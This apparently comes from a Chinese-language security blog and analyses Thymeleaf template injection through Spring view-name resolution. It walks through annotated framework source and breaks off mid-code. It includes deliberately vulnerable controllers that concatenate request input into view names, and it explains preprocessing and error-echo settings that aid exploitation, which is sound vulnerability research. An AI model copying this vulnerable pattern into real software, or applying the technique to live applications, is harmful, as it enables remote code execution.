Thymeleaf SSTI 分析

exp3n5ive Lv2

Spring 视图解析

Spring MVC 的核心流程如下 :

整个流程中最核心的部分位于 org.springframework.web.servlet.DispatcherServlet#doDispatch

其中视图相关的处理流程如下 :

获取 ModelAndView

1
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

这行代码表示适配器调用处理器 ( Controller / Handler ) 进行处理 , 最后返回 ModelAndView 对象 ( 换句话说就是把返回值包装成了一个 ModelAndView 对象并返回 )

applyDefaultViewName

1
2
3
4
5
6
7
8
private void applyDefaultViewName(HttpServletRequest request, @Nullable ModelAndView mv) throws Exception {  
if (mv != null && !mv.hasView()) {
String defaultViewName = getDefaultViewName(request);
if (defaultViewName != null) {
mv.setViewName(defaultViewName);
}
}
}

这部分代码非常简单 , 当我们的 ModelAndView 不为空并且没有视图名 , 就会给它设置一个默认的视图名称

processDispatchResult

这部分是重点 , 代码如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// org.springframework.web.servlet.DispatcherServlet#processDispatchResult
private void processDispatchResult(HttpServletRequest request, HttpServletResponse response,
@Nullable HandlerExecutionChain mappedHandler, @Nullable ModelAndView mv,
@Nullable Exception exception) throws Exception {

boolean errorView = false;

// 处理异常情况, 不重要
if (exception != null) {
if (exception instanceof ModelAndViewDefiningException) {
logger.debug("ModelAndViewDefiningException encountered", exception);
mv = ((ModelAndViewDefiningException) exception).getModelAndView();
}
else {
Object handler = (mappedHandler != null ? mappedHandler.getHandler() : null);
mv = processHandlerException(request, response, handler, exception);
errorView = (mv != null);
}
}

// 处理视图渲染 : 如果处理器返回了需要渲染的视图
if (mv != null && !mv.wasCleared()) {
render(mv, request, response);
if (errorView) {
WebUtils.clearErrorRequestAttributes(request);
}
}
else {
if (logger.isTraceEnabled()) {
logger.trace("No view rendering, null ModelAndView returned.");
}
}

if (WebAsyncUtils.getAsyncManager(request).isConcurrentHandlingStarted()) {
// Concurrent handling started during a forward
return;
}

if (mappedHandler != null) {
// Exception (if any) is already handled..
mappedHandler.triggerAfterCompletion(request, response, null);
}
}

重点在于 render , 这里进行了视图渲染操作 , 跟进 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// org.springframework.web.servlet.DispatcherServlet#render
/**
* 渲染ModelAndView , 将模型数据通过视图呈现给客户端
*
* @param mv ModelAndView对象 , 包含视图信息或视图名称以及模型数据
* @param request HTTP请求对象
* @param response HTTP响应对象
* @throws Exception 如果视图解析或渲染过程中发生错误
*/
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
// 确定请求的区域设置并应用到响应中, 不重要
Locale locale =
(this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale());
response.setLocale(locale);

View view;
String viewName = mv.getViewName();
if (viewName != null) {
// 需要解析视图名称 : 根据视图名解析为具体的View对象
view = resolveViewName(viewName, mv.getModelInternal(), locale, request);
if (view == null) {
// 视图解析失败 , 抛出异常
throw new ServletException("Could not resolve view with name '" + mv.getViewName() +
"' in servlet with name '" + getServletName() + "'");
}
}
else {
// 无需查找 : ModelAndView对象已包含实际的View对象
view = mv.getView();
if (view == null) {
// 既没有视图名也没有View对象 , 抛出异常
throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a " +
"View object in servlet with name '" + getServletName() + "'");
}
}

// 委托给View对象进行实际渲染
if (logger.isTraceEnabled()) {
logger.trace("Rendering view [" + view + "] ");
}
try {
// 如果ModelAndView中设置了状态码 , 设置到响应中
if (mv.getStatus() != null) {
response.setStatus(mv.getStatus().value());
}
// 调用View的render方法进行渲染 , 传入模型数据、请求和响应对象
view.render(mv.getModelInternal(), request, response);
}
catch (Exception ex) {
// 渲染过程中发生异常 , 记录日志并重新抛出
if (logger.isDebugEnabled()) {
logger.debug("Error rendering view [" + view + "]", ex);
}
throw ex;
}
}

这里有两个地方比较重要 , 一个是 view = resolveViewName(viewName, mv.getModelInternal(), locale, request); , 另一个是 view.render(mv.getModelInternal(), request, response);

resolveViewName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// org.springframework.web.servlet.DispatcherServlet#resolveViewName
@Nullable
protected View resolveViewName(String viewName, @Nullable Map<String, Object> model,
Locale locale, HttpServletRequest request) throws Exception {

if (this.viewResolvers != null) {
for (ViewResolver viewResolver : this.viewResolvers) {
View view = viewResolver.resolveViewName(viewName, locale);
if (view != null) {
return view;
}
}
}
return null;
}

该方法用于将视图名称解析为具体的 View 对象 , 它遍历所有配置的 ViewResolver , 依次尝试解析视图名称 , 一旦找到匹配的视图则立即返回

viewResolvers 是怎么来的呢 ? 通过跟踪可以找到 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// org.springframework.web.servlet.DispatcherServlet#initViewResolvers
private void initViewResolvers(ApplicationContext context) {
// 清空当前视图解析器列表
this.viewResolvers = null;

// 自动检测模式
if (this.detectAllViewResolvers) {
// 查找ApplicationContext中的所有ViewResolvers , 包括祖先上下文。
Map<String, ViewResolver> matchingBeans =
BeanFactoryUtils.beansOfTypeIncludingAncestors(context, ViewResolver.class, true, false);
if (!matchingBeans.isEmpty()) {
this.viewResolvers = new ArrayList<>(matchingBeans.values());
// 我们保持viewresolver的排序顺序。
AnnotationAwareOrderComparator.sort(this.viewResolvers);
}
}
// 指定Bean名称模式
else {
try {
ViewResolver vr = context.getBean(VIEW_RESOLVER_BEAN_NAME, ViewResolver.class);
this.viewResolvers = Collections.singletonList(vr);
}
catch (NoSuchBeanDefinitionException ex) {
// 忽略它 , 稍后我们将添加一个默认的ViewResolver。
}
}

// 通过注册确保我们至少有一个ViewResolver
// 如果没有找到其他解析器 , 则使用默认的ViewResolver。
if (this.viewResolvers == null) {
this.viewResolvers = getDefaultStrategies(context, ViewResolver.class);
if (logger.isTraceEnabled()) {
logger.trace("No ViewResolvers declared for servlet '" + getServletName() +
"': using default strategies from DispatcherServlet.properties");
}
}
}

该方法用于初始化DispatcherServlet使用的视图解析器 ( ViewResolver ) 首先清空当前视图解析器列表 , 再根据是否启用自动检测来查找并排序所有实现 ViewResolver 接口的 bean . 若未找到 , 则尝试获取指定名称的 bean ; 如果仍没有 , 则加载默认策略配置文件中定义的视图解析器 , 最后确保至少有一个视图解析器可用

如图是以 Thymeleaf 为例的调试截图 , 可以看到这里有很多解析器 :

其他模板引擎也是同理 , 只需要将自己注入到 Spring 的 IOC 容器即可

render

接着用返回的 view 对象去渲染模板 , 不同模板引擎的处理方式不同 , 后面会单独讲


Thymeleaf

SpringBoot 中自带 Thymeleaf 依赖 , 版本对应关系如下 :

1
2
3
4
5
6
7
8
9
10
SpringBoot      Thymeleaf
2.2.0.RELEASE 3.0.11
2.3.12.RELEASE 3.0.12
2.4.10 3.0.12
2.5.8 3.0.14
2.5.9 3.0.14
2.6.13 3.0.15
2.7.18 3.0.15
3.0.8 3.1.1
3.2.2 3.1.2

可以用下面的命令来查看当前依赖详情 , 从而看出当前 Thymeleaf 的版本 :

1
mvn dependency:tree -DskipTests

也可以用 IDEA 的 Maven Helper 插件直接查看 :

修改以下配置从而设置 HTML 热加载 :

1
spring.thymeleaf.cache=false

修改以下配置可以在视图名解析漏洞利用时回显 :

1
server.error.include-message=always

在 Springboot <= 2.2 时该配置默认值就是 always , 此时 500 页面会返回报错信息 , 从而可以利用它回显执行结果

但是它在更高版本的默认值变成了 never , 不再回显报错信息


三种依赖的区别 :

基本用法 :

片段表达式 :

除了直接在模板内部使用 ~{} , 还可以直接在 Controller 里面使用 :

1
2
3
4
5
6
public class TestController {  
@GetMapping("/aaa")
public String test(@RequestParam String payload) {
return payload+"::banquan";
}
}

test.html :

1
2
3
4
5
6
7
<!DOCTYPE html>  
<html xmlns:th="http://www.thymeleaf.org">
<body>
<div th:fragment="banquan"> &copy; byname's test</div> <!-- 定义了一个名叫banquan的片段 -->
</body>
</html>

访问 /aaa?payload=test , 就会返回 test.html , 并且它会引用 test.html 里名叫 banquan 的片段

这个操作在底层实际上也是对 return 后面的内容套了一层 ~{} 实现的 , 后面会说


漏洞分析

视图名解析

漏洞示例代码 :

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome";
}

从 render 开始分析 :

org.thymeleaf.spring5.view.ThymeleafView#render

跟进 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
/**
* 渲染指定的模板片段 , 并将结果输出到HTTP响应中。
*
* <p>该方法负责整合模型数据、请求上下文以及Thymeleaf相关的变量 , 然后使用Thymeleaf模板引擎处理并渲染视图。
* 它支持选择性地渲染模板中的特定标记(markup selectors) , 并且可以控制是否在处理过程中逐步输出内容。</p>

*
* @param markupSelectorsToRender 要渲染的标记选择器集合;如果为null或空 , 则渲染整个模板
* @param model 模型数据映射 , 用于传递给模板进行渲染
* @param request 当前HTTP请求对象
* @param response 当前HTTP响应对象
* @throws Exception 如果渲染过程发生异常 , 如模板解析错误、IO异常等
*/
protected void renderFragment(final Set<String> markupSelectorsToRender, final Map<String, ?> model, final HttpServletRequest request,
final HttpServletResponse response)
throws Exception {
// 获取相关变量
final ServletContext servletContext = getServletContext() ;
final String viewTemplateName = getTemplateName();
final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();

// 非空判断
if (viewTemplateName == null) {
throw new IllegalArgumentException("Property 'templateName' is required");
}
if (getLocale() == null) {
throw new IllegalArgumentException("Property 'locale' is required");
}
if (viewTemplateEngine == null) {
throw new IllegalArgumentException("Property 'templateEngine' is required");
}


// 合并所有需要传入模板的数据 : 静态变量、路径变量和用户提供的模型数据
final Map<String, Object> mergedModel = new HashMap<String, Object>(30);
final Map<String, Object> templateStaticVariables = getStaticVariables(); // 获取静态变量
if (templateStaticVariables != null) {
mergedModel.putAll(templateStaticVariables);
}
if (pathVariablesSelector != null) { // 获取路径变量
@SuppressWarnings("unchecked")
final Map<String, Object> pathVars = (Map<String, Object>) request.getAttribute(pathVariablesSelector);
if (pathVars != null) {
mergedModel.putAll(pathVars);
}
}
if (model != null) { // model数据
mergedModel.putAll(model);
}

final ApplicationContext applicationContext = getApplicationContext();

// 创建Spring MVC与Thymeleaf兼容的请求上下文对象
final RequestContext requestContext =
new RequestContext(request, response, getServletContext(), mergedModel);
final SpringWebMvcThymeleafRequestContext thymeleafRequestContext =
new SpringWebMvcThymeleafRequestContext(requestContext, request);

// 添加兼容性的请求上下文变量供其他方言使用
addRequestContextAsVariable(mergedModel, SpringContextVariableNames.SPRING_REQUEST_CONTEXT, requestContext);
addRequestContextAsVariable(mergedModel, AbstractTemplateView.SPRING_MACRO_REQUEST_CONTEXT_ATTRIBUTE, requestContext);
mergedModel.put(SpringContextVariableNames.THYMELEAF_REQUEST_CONTEXT, thymeleafRequestContext);


// 构造Thymeleaf表达式评估所需的上下文环境
final ConversionService conversionService =
(ConversionService) request.getAttribute(ConversionService.class.getName()); // might be null!
final ThymeleafEvaluationContext evaluationContext =
new ThymeleafEvaluationContext(applicationContext, conversionService);
mergedModel.put(ThymeleafEvaluationContext.THYMELEAF_EVALUATION_CONTEXT_CONTEXT_VARIABLE_NAME, evaluationContext);


final IEngineConfiguration configuration = viewTemplateEngine.getConfiguration();
final WebExpressionContext context =
new WebExpressionContext(configuration, request, response, servletContext, getLocale(), mergedModel);


// 解析模板名称及可能存在的片段标识符
final String templateName;
final Set<String> markupSelectors;
/************************************************/
/**********************重点***********************/
/************************************************/
if (!viewTemplateName.contains("::")) {
// 没有指定片段 , 直接使用模板名

templateName = viewTemplateName;
markupSelectors = null;

} else {
// 说明引用了片段,需要进一步解析

final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

final FragmentExpression fragmentExpression;
try {
// 将 viewTemplateName 用 ~{} 包裹,作为片段表达式来处理
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (final TemplateProcessingException e) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}

final FragmentExpression.ExecutedFragmentExpression fragment =
FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);

templateName = FragmentExpression.resolveTemplateName(fragment);
markupSelectors = FragmentExpression.resolveFragments(fragment);
final Map<String,Object> nameFragmentParameters = fragment.getFragmentParameters();

if (nameFragmentParameters != null) {

if (fragment.hasSyntheticParameters()) {
// 不允许匿名参数 , 因为无法在执行时正确绑定
throw new IllegalArgumentException(
"Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
}

context.setVariables(nameFragmentParameters);

}

}


final String templateContentType = getContentType();
final Locale templateLocale = getLocale();
final String templateCharacterEncoding = getCharacterEncoding();


// 决定实际要使用的标记选择器集合
final Set<String> processMarkupSelectors;
if (markupSelectors != null && markupSelectors.size() > 0) {
if (markupSelectorsToRender != null && markupSelectorsToRender.size() > 0) {
throw new IllegalArgumentException(
"A markup selector has been specified (" + Arrays.asList(markupSelectors) + ") for a view " +
"that was already being executed as a fragment (" + Arrays.asList(markupSelectorsToRender) + "). " +
"Only one fragment selection is allowed.");
}
processMarkupSelectors = markupSelectors;
} else {
if (markupSelectorsToRender != null && markupSelectorsToRender.size() > 0) {
processMarkupSelectors = markupSelectorsToRender;
} else {
processMarkupSelectors = null;
}
}


response.setLocale(templateLocale);

// 设置响应的内容类型和字符编码
if (!getForceContentType()) {

final String computedContentType =
SpringContentTypeUtils.computeViewContentType(
request,
(templateContentType != null? templateContentType : DEFAULT_CONTENT_TYPE),
(templateCharacterEncoding != null? Charset.forName(templateCharacterEncoding) : null));

response.setContentType(computedContentType);

} else {
// 强制设置内容类型而不做智能判断

if (templateContentType != null) {
response.setContentType(templateContentType);
} else {
response.setContentType(DEFAULT_CONTENT_TYPE);
}
if (templateCharacterEncoding != null) {
response.setCharacterEncoding(templateCharacterEncoding);
}

}

final boolean producePartialOutputWhileProcessing = getProducePartialOutputWhileProcessing();

// 根据配置决定是立即输出还是先缓存再一次性写出
final Writer templateWriter =
(producePartialOutputWhileProcessing? response.getWriter() : new FastStringWriter(1024));

viewTemplateEngine.process(templateName, processMarkupSelectors, context, templateWriter);

// 若使用缓冲区 , 在最后统一写入响应流
if (!producePartialOutputWhileProcessing) {
response.getWriter().write(templateWriter.toString());
response.getWriter().flush();
}

}

代码特别长 , 重点在于 if (!viewTemplateName.contains("::")) 的 else 分支

在 Thymeleaf 中 , :: 是片段选择符 , 一个使用例子如下 :

假设有以下模板 layout.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
<title>页面标题</title>

</head>

<body>
<header th:fragment="header">
<h1>网站头部</h1>

</header>


<main th:fragment="content">
<p>主要内容区域</p>

</main>


<footer th:fragment="footer">
<p>网站底部</p>

</footer>

</body>

</html>

当我们 viewTemplateName = "layout::content" 时 , 代表只渲染 content 片段

再看 Thymeleaf 是怎么处理的 :

首先它会把 viewTemplateName 用 ~{} 包裹 , 变成一个片段表达式 ( 278 行 )

然后调用 org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String) 进行解析

跟进 :

( 17 行 ) 这里设置了 preprocess ( 预处理 ) 为 True , 继续跟进 :

可以看到 46 行写了一个三目运算 , 判断是否进行预处理

因为刚才设置了 preprocess 为 True , 所以跟进 preprocess 方法 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess

/**
* 预处理输入字符串 , 解析并替换其中的预处理表达式标记
*
* @param context 表达式上下文 , 提供配置和执行环境信息
* @param input 待预处理的输入字符串
* @return 预处理后的字符串 , 其中的表达式标记已被替换为实际值;如果处理失败则返回null
*/
static String preprocess(
final IExpressionContext context,
final String input) {

if (input.indexOf(PREPROCESS_DELIMITER) == -1) {
// 快速失败 : 如果输入中不包含预处理分隔符 (分隔符为 _) , 则直接返回原字符串
return input;
}

final IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
if (!(expressionParser instanceof StandardExpressionParser)) {
// 预处理功能仅对StandardExpressionParser可用 , 因为预处理器依赖于此特定的解析器实现
return input;
}

final Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);

if (matcher.find()) {

// 构建预处理后的结果字符串
final StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;

do {

// 获取匹配位置之前的文本内容并检查预处理标记转义
final String previousText =
checkPreprocessingMarkUnescaping(input.substring(curr,matcher.start(0)));
// 获取匹配到的表达式文本并检查预处理标记转义
final String expressionText =
checkPreprocessingMarkUnescaping(matcher.group(1));

strBuilder.append(previousText);

// 解析表达式
final IStandardExpression expression =
StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
// 表达式解析失败 , 返回null
return null;
}

// 执行表达式并获取结果
final Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);

strBuilder.append(result);

curr = matcher.end(0);

} while (matcher.find());

// 处理剩余的文本内容
final String remaining = checkPreprocessingMarkUnescaping(input.substring(curr));

strBuilder.append(remaining);

// 返回预处理后的字符串并去除首尾空白
return strBuilder.toString().trim();

}

// 没有找到匹配的预处理表达式 , 直接检查并返回处理后的输入
return checkPreprocessingMarkUnescaping(input);

}

如果输入中不包含预处理分隔符 ( _ ) , 则会直接返回输入 , 相当于不进行预处理

这里就分为两个分支 , 一个是预处理一个是不进行预处理

预处理分支

继续看 preprocess , 接下来会提取我们输入中双下划线包裹的部分 , 即 ${xxx} :

然后进行了一些字符串处理 , 将输入分为了 previousTextexpressionText :

然后对 expressionText 调用 parseExpression ( 86 行 ) :

最后会调用 expression.execute 去执行这个表达式 ( 91 行 )

先看一下它是怎么处理我们的 expressionText 的 , 跟进 parseExpression :

我们第一次加载肯定是不会命中缓存的 , 所以跟进 parse :

这里又分为了两部分 , decomposecompose

跟进 decompose :

1
2
3
4
5
6
7
// org.thymeleaf.standard.expression.ExpressionParsingUtil#decompose
public static ExpressionParsingState decompose(final String input) {
// 在开始分解简单表达式之前 , 我们先执行文字替换的处理…
final ExpressionParsingState state =
decomposeSimpleExpressions(LiteralSubstitutionUtil.performLiteralSubstitution(input));
return decomposeNestingParenthesis(state, 0);
}

跟进 performLiteralSubstitution , 进行字面量替换 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
static String performLiteralSubstitution(final String input) {

// 非空判断
if (input == null) {
return null;
}

// 惰性初始化 : 只有在确实需要修改时才创建StringBuilder
StringBuilder strBuilder = null;

// 状态标志 : 跟踪解析过程中的各种状态
boolean inLiteralSubstitution = false; // 是否在 |...| 字面量替换表达式范围内
boolean inLiteralSubstitutionInsertion = false; // 是否正在构建字面量字符串部分

int expLevel = 0; // 表达式嵌套层级(用于处理嵌套的 {})
boolean inLiteral = false; // 是否在单引号字符串字面量中
boolean inNothing = true; // 是否在普通文本中(不在任何特殊结构中)

final int inputLen = input.length();

// 逐个字符扫描输入字符串
for (int i = 0; i < inputLen; i++) {

final char c = input.charAt(i);

// 情况1 : 遇到 | 且不在字面量替换中 , 也不在特殊结构中 → 开始字面量替换
if (c == LITERAL_SUBSTITUTION_DELIMITER && !inLiteralSubstitution && inNothing) {

if (strBuilder == null) {
// 第一次需要修改时初始化StringBuilder , 复制已处理的部分
strBuilder = new StringBuilder(inputLen + 20);
strBuilder.append(input,0,i);
}
inLiteralSubstitution = true; // 标记进入字面量替换模式

}
// 情况2 : 遇到 | 且已在字面量替换中 → 结束字面量替换
else if (c == LITERAL_SUBSTITUTION_DELIMITER && inLiteralSubstitution && inNothing) {

if (inLiteralSubstitutionInsertion) {
// 如果正在构建字面量 , 需要先关闭单引号
strBuilder.append('\'');
inLiteralSubstitutionInsertion = false;
}

inLiteralSubstitution = false; // 标记退出字面量替换模式

}
// 情况3 : 检测到表达式开始($, *, #, @ 后跟 {)
else if (inNothing && // 必须在普通文本中
(c == VariableExpression.SELECTOR || // $
c == SelectionVariableExpression.SELECTOR || // *
c == MessageExpression.SELECTOR || // #
c == LinkExpression.SELECTOR) && // @
(i + 1 < inputLen && input.charAt(i+1) == SimpleExpression.EXPRESSION_START_CHAR)) { // 后跟 {

// 在字面量替换模式下 , 需要处理表达式前后的连接
if (inLiteralSubstitution && inLiteralSubstitutionInsertion) {
// 表达式前有文本字面量 : 关闭前一个单引号并添加连接符
strBuilder.append("\' + ");
inLiteralSubstitutionInsertion = false;
} else if (inLiteralSubstitution && i > 0 && input.charAt(i - 1) == SimpleExpression.EXPRESSION_END_CHAR) {
// 连续的两个表达式 : 添加空字符串连接避免语法错误
strBuilder.append(" + \'\' + ");
}

// 将表达式选择器和 { 添加到结果中
if (strBuilder != null) {
strBuilder.append(c);
strBuilder.append(SimpleExpression.EXPRESSION_START_CHAR);
}

expLevel = 1; // 进入第一层表达式
i++; // 跳过下一个字符({) , 因为我们已经知道它是表达式开始
inNothing = false; // 标记不在普通文本中了

}
// 情况4 : 关闭第一层表达式(遇到 } 且层级为1)
else if (expLevel == 1 && c == SimpleExpression.EXPRESSION_END_CHAR) {

if (strBuilder != null) {
strBuilder.append(SimpleExpression.EXPRESSION_END_CHAR);
}

expLevel = 0; // 回到普通文本层级
inNothing = true; // 标记回到普通文本

}
// 情况5 : 进入表达式嵌套(遇到 { 且在表达式中)
else if (expLevel > 0 && c == SimpleExpression.EXPRESSION_START_CHAR) {

if (strBuilder != null) {
strBuilder.append(SimpleExpression.EXPRESSION_START_CHAR);
}
expLevel++; // 增加嵌套层级

}
// 情况6 : 退出表达式嵌套(遇到 } 且在嵌套表达式中)
else if (expLevel > 1 && c == SimpleExpression.EXPRESSION_END_CHAR) {

if (strBuilder != null) {
strBuilder.append(SimpleExpression.EXPRESSION_END_CHAR);
}
expLevel--; // 减少嵌套层级

}
// 情况7 : 在表达式中但不是边界字符 → 直接复制
else if (expLevel > 0) {

if (strBuilder != null) {
strBuilder.append(c);
}

}
// 情况8 : 进入单引号字符串字面量
else if (inNothing && !inLiteralSubstitution &&
c == TextLiteralExpression.DELIMITER && !TextLiteralExpression.isDelimiterEscaped(input, i)) {

inNothing = false; // 离开普通文本
inLiteral = true; // 进入字符串字面量

if (strBuilder != null) {
strBuilder.append(c);
}

}
// 情况9 : 退出单引号字符串字面量
else if (inLiteral && !inLiteralSubstitution &&
c == TextLiteralExpression.DELIMITER && !TextLiteralExpression.isDelimiterEscaped(input, i)) {

inLiteral = false; // 离开字符串字面量
inNothing = true; // 回到普通文本

if (strBuilder != null) {
strBuilder.append(c);
}

}
// 情况10 : 在字面量替换模式中的普通文本
else if (inLiteralSubstitution && inNothing) {
// 这个字符不是表达式开始 , 但在字面量替换范围内 , 需要转换为字符串字面量

// 如果是字面量替换中的第一个文本字符 , 需要开始新的字符串字面量
if (!inLiteralSubstitutionInsertion) {
// 如果不是紧跟在 | 后面 , 需要添加连接符
if (input.charAt(i - 1) != LITERAL_SUBSTITUTION_DELIMITER) {
strBuilder.append(" + ");
}
strBuilder.append('\''); // 开始单引号字符串
inLiteralSubstitutionInsertion = true;
}

// 处理字符串字面量中的特殊字符转义
if (c == TextLiteralExpression.DELIMITER) {
// 转义单引号 : ' → \'
strBuilder.append('\\');
} else if (c == TextLiteralExpression.ESCAPE_PREFIX) {
// 转义反斜杠 : \ → \\
strBuilder.append('\\');
}

strBuilder.append(c); // 添加当前字符

}
// 情况11 : 其他情况(普通文本 , 不在任何特殊处理中)→ 直接复制
else {

if (strBuilder != null) {
strBuilder.append(c);
}

}

}

// 如果StringBuilder没有被初始化 , 说明不需要任何修改 , 直接返回原输入
if (strBuilder == null) {
return input;
}

// 返回转换后的字符串
return strBuilder.toString();

}

举个例子 :

1
2
3
4
5
6
7
8
9
10
11
12
13
// 输入模板表达式 : 
"|欢迎 ${user.name} , 今天是 ${today}|"

// 转换过程 :
// 1. 遇到 | → 进入字面量替换模式
// 2. 遇到 "欢迎 " → 转换为 '欢迎 '
// 3. 遇到 ${user.name} → 转换为 + ${user.name}
// 4. 遇到 " , 今天是 " → 转换为 + ' , 今天是 '
// 5. 遇到 ${today} → 转换为 + ${today}
// 6. 遇到 | → 结束字面量替换模式

// 最终输出 :
"'欢迎 ' + ${user.name} + ' , 今天是 ' + ${today}"

这里不重要 , 因为我们没用到 | , 所以我们的输入会原样返回

回到 decompose , 继续跟进到 org.thymeleaf.standard.expression.ExpressionParsingUtil#decomposeSimpleExpressions :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
/**
* 分解简单表达式 - 将输入字符串解析为文本片段和表达式对象的混合序列
* 支持多种表达式类型 : 变量表达式、选择表达式、消息表达式、链接表达式、片段表达式、文本字面量和普通token
*
* @param input 待解析的输入字符串 , 可能包含各种表达式和普通文本
* @return ExpressionParsingState 包含解析后的表达式序列和状态信息 , 解析失败时返回null
*/
private static ExpressionParsingState decomposeSimpleExpressions(final String input) {

// 首先处理输入为null的情况
if (input == null) {
return null;
}

// 创建解析状态对象 , 用于存储解析结果
final ExpressionParsingState state = new ExpressionParsingState();

// 处理空字符串或纯空白字符串的情况
if (StringUtils.isEmptyOrWhitespace(input)) {
state.addNode(input);
return state;
}

// 初始化字符串构建器 : decomposedInput用于存储分解后的整体结果 , currentFragment用于存储当前正在处理的片段
final StringBuilder decomposedInput = new StringBuilder(24);
final StringBuilder currentFragment = new StringBuilder(24);
int currentIndex = 1; // 表达式索引计数器 , 从1开始

// 解析状态标志
int expLevel = 0; // 表达式嵌套层级(用于处理嵌套表达式)
boolean inLiteral = false; // 是否处于文本字面量中(由分隔符包围的文本)
boolean inToken = false; // 是否处于token解析中(连续的token字符)
boolean inNothing = true; // 是否处于普通文本状态(既不在字面量、表达式也不在token中)

final int inputLen = input.length();

// 遍历输入字符串的每个字符进行解析
for (int i = 0; i < inputLen; i++) {

/*
* 第一步 : 检查是否需要结束当前token
* 当处于token解析状态且当前字符不是有效的token字符时 , 结束当前token
*/
if (inToken && !Token.isTokenChar(input, i)) {
// 结束当前token并创建相应的表达式对象
if (finishCurrentToken(currentIndex, state, decomposedInput, currentFragment) != null) {
// 如果token被成功接受并创建了表达式对象 , 递增索引
currentIndex++;
}

// 重置状态为普通文本状态
inToken = false;
inNothing = true;
}

/*
* 第二步 : 处理当前字符
* 根据当前解析状态处理每个字符
*/
final char c = input.charAt(i);

// 情况1 : 开始文本字面量(检测到未转义的字面量分隔符且当前处于普通文本状态)
if (inNothing && c == TextLiteralExpression.DELIMITER && !TextLiteralExpression.isDelimiterEscaped(input, i)) {
// 结束之前的文本片段(如果有)并开始新的字面量
finishCurrentFragment(decomposedInput, currentFragment);

currentFragment.append(c); // 添加字面量开始分隔符

inLiteral = true; // 进入字面量状态
inNothing = false; // 离开普通文本状态

}
// 情况2 : 结束文本字面量(检测到未转义的字面量分隔符且当前处于字面量状态)
else if (inLiteral && c == TextLiteralExpression.DELIMITER && !TextLiteralExpression.isDelimiterEscaped(input, i)) {
// 添加字面量结束分隔符
currentFragment.append(c);

// 解析文本字面量表达式
final TextLiteralExpression expr = TextLiteralExpression.parseTextLiteralExpression(currentFragment.toString());

